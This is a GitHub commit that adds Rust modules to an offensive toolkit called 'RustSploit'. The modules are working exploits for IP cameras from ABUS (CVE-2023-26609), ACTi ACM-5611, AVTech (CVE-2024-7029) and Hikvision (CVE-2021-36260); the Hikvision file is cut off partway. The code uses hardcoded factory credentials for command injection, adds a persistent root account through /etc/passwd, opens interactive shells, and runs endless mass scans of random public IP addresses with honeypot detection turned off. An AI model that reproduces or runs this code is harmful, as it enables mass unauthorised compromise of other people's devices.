Add files via upload

This commit is contained in:
S.B
2026-02-13 02:17:21 +02:00
committed by GitHub
parent f7793bc6ed
commit c8d2d254a0
22 changed files with 5585 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
pub mod wpair;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,371 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{anyhow, Result, Context};
use colored::*;
use md5;
use rand::Rng;
use reqwest::Client;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::{self, Write};
use tokio::io::AsyncWriteExt;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use chrono::Local;
use crate::utils::normalize_target;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
#[derive(Clone, Copy, Debug)]
enum ScanMode {
StandardCheck,
CustomCommand,
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
).cyan()
);
Ok(())
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("{}", "[*] Exploit mode selection:".cyan().bold());
println!(" {} LFI (Local File Inclusion)", "[1]".green());
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut choice = String::new();
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut fp = String::new();
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => {
println!("{}", "[-] Invalid choice".red());
return Err(anyhow!("Invalid choice"));
}
}
Ok(())
}
/// Quick vulnerability check for mass scanning (no honeypot detection)
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
match tokio::time::timeout(
Duration::from_secs(5),
client.get(&url).send()
).await {
Ok(Ok(resp)) => resp.status().is_success(),
_ => false,
}
}
/// Mass scan mode - infinite random IP scanning
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions (FIRST)
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
io::stdout().flush()?;
let mut outfile = String::new();
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
let outfile = outfile.to_string();
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Standard Check (Command: id)");
println!(" 2. Custom Command");
print!("{}", "Select option [1-2] (default 1): ".cyan());
io::stdout().flush()?;
let mut mode_str = String::new();
io::stdin().read_line(&mut mode_str)?;
let mode = match mode_str.trim() {
"2" => ScanMode::CustomCommand,
_ => ScanMode::StandardCheck,
};
let mut custom_cmd = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command: ".cyan());
io::stdout().flush()?;
std::io::stdin().read_line(&mut custom_cmd)?;
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = Arc::new(custom_cmd);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let client = Arc::new(client);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// Result writer channel
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
// Stats reporter
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let cc = custom_cmd.clone();
let current_mode = mode;
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_str = ip.to_string();
if quick_check(&cl, &ip_str, current_mode, &cc).await {
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
let log_entry = format!("{} - {}\n", ip_str, timestamp);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
execute(target).await
}
}
+2
View File
@@ -0,0 +1,2 @@
pub mod abussecurity_camera_cve202326609variant1;
@@ -0,0 +1,293 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use std::io::Write;
use reqwest::Client;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use ipnetwork::IpNetwork;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use chrono::Local;
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
let port = prompt_port("Target Port", 8080)?;
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
let outfile = Arc::new(outfile);
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
if let Ok(true) = check(&ip, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
return run_mass_scan().await;
}
display_banner();
// Check for CIDR or Range
let is_mass_scan = target.contains('/') || target.contains('-');
// Prompt for port globally
let port = prompt_port("Target Port", DEFAULT_PORT)?;
if is_mass_scan {
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
let ips: Vec<IpAddr> = if target.contains('/') {
// CIDR
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
net.iter().collect()
} else {
// Range (basic impl for dash)
// For now, let's assume specific basic range or just use utils if available.
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
// or simple parsing if the user provided a list.
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
// However, user asked for "mass scan", likely CIDR.
// Re-use logic from other modules?
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
};
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
let concurrency = 50;
let semaphore = Arc::new(Semaphore::new(concurrency));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let mut tasks = Vec::new();
for ip in ips {
let sem = semaphore.clone();
let vc = vulnerable_count.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, exit gracefully
};
if let Ok(true) = check(&ip_str, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
vc.fetch_add(1, Ordering::Relaxed);
}
drop(_permit);
}));
}
for t in tasks {
let _ = t.await;
}
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
} else {
// Single Target Mode (Original Logic)
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
std::io::stdin()
.read_line(&mut cmd_input)
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
let res = client
.get(url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
+1
View File
@@ -0,0 +1 @@
pub mod acm_5611_rce;
@@ -0,0 +1,260 @@
use anyhow::{Result, Context};
use colored::*;
use rand::Rng;
use reqwest::Client;
use std::net::{IpAddr, Ipv4Addr};
use std::path::Path;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::Write;
use tokio::sync::Semaphore;
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
println!("{}", "[*] Checking vulnerability...".cyan());
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = std::io::stdin();
let mut line = String::new();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
print!("{}", "cve7029-shell> ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
if stdin.read_line(&mut line).is_err() {
break;
}
let cmd = line.trim().to_string();
line.clear();
{
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
if cmd.is_empty() {
continue;
}
match exec_cmd(client, base, &cmd).await {
Ok(out) => println!("{}", out),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
// Escape command to prevent injection of additional shell commands
let escaped_cmd = escape_shell_command(cmd);
let payload = format!("1;{};", escaped_cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// Quick vulnerability check for mass scanning
async fn quick_check(client: &Client, ip: &str) -> bool {
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
match tokio::time::timeout(
Duration::from_secs(5),
client.get(&url).send()
).await {
Ok(Ok(resp)) => {
if let Ok(body) = resp.text().await {
body.contains("echo_CVE7029")
} else {
false
}
},
_ => false,
}
}
/// Mass scan mode
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let client = Arc::new(client);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
let fnd = found.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_str = ip.to_string();
if quick_check(&cl, &ip_str).await {
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
/// Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port("Enter port to use", 80)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.filter(|s| !s.trim().is_empty())
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
println!();
for raw_ip in &targets {
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(raw_ip)?;
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
format!("{}://{}", scheme, normalized)
} else {
format!("{}://{}:{}", scheme, normalized, port)
};
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
interactive_shell(&client, &url).await?;
} else {
println!("{}", format!("[-] {} is not vulnerable", url).red());
}
println!();
}
println!("{}", "[*] Scan complete.".cyan());
Ok(())
}
}
@@ -0,0 +1 @@
pub mod cve_2024_7029_avtech_camera;
@@ -0,0 +1,518 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::Rng;
use reqwest::Client;
use std::io::{self, Write};
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MAX_CMD_LENGTH: usize = 22;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
#[derive(Clone, Copy, Debug)]
enum ScanMode {
SafeCheck,
UnsafeReboot,
CustomCommand,
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
println!(
"{}",
"║ Hikvision Web Server CVE-2021-36260 ║".cyan()
);
println!(
"{}",
"║ Unauthenticated Command Injection (Build 210702) ║".cyan()
);
println!(
"{}",
"║ PoC by bashis - Ported to Rust for rustsploit ║".cyan()
);
println!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
}
/// Normalize target URL
fn normalize_target(raw: &str) -> String {
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
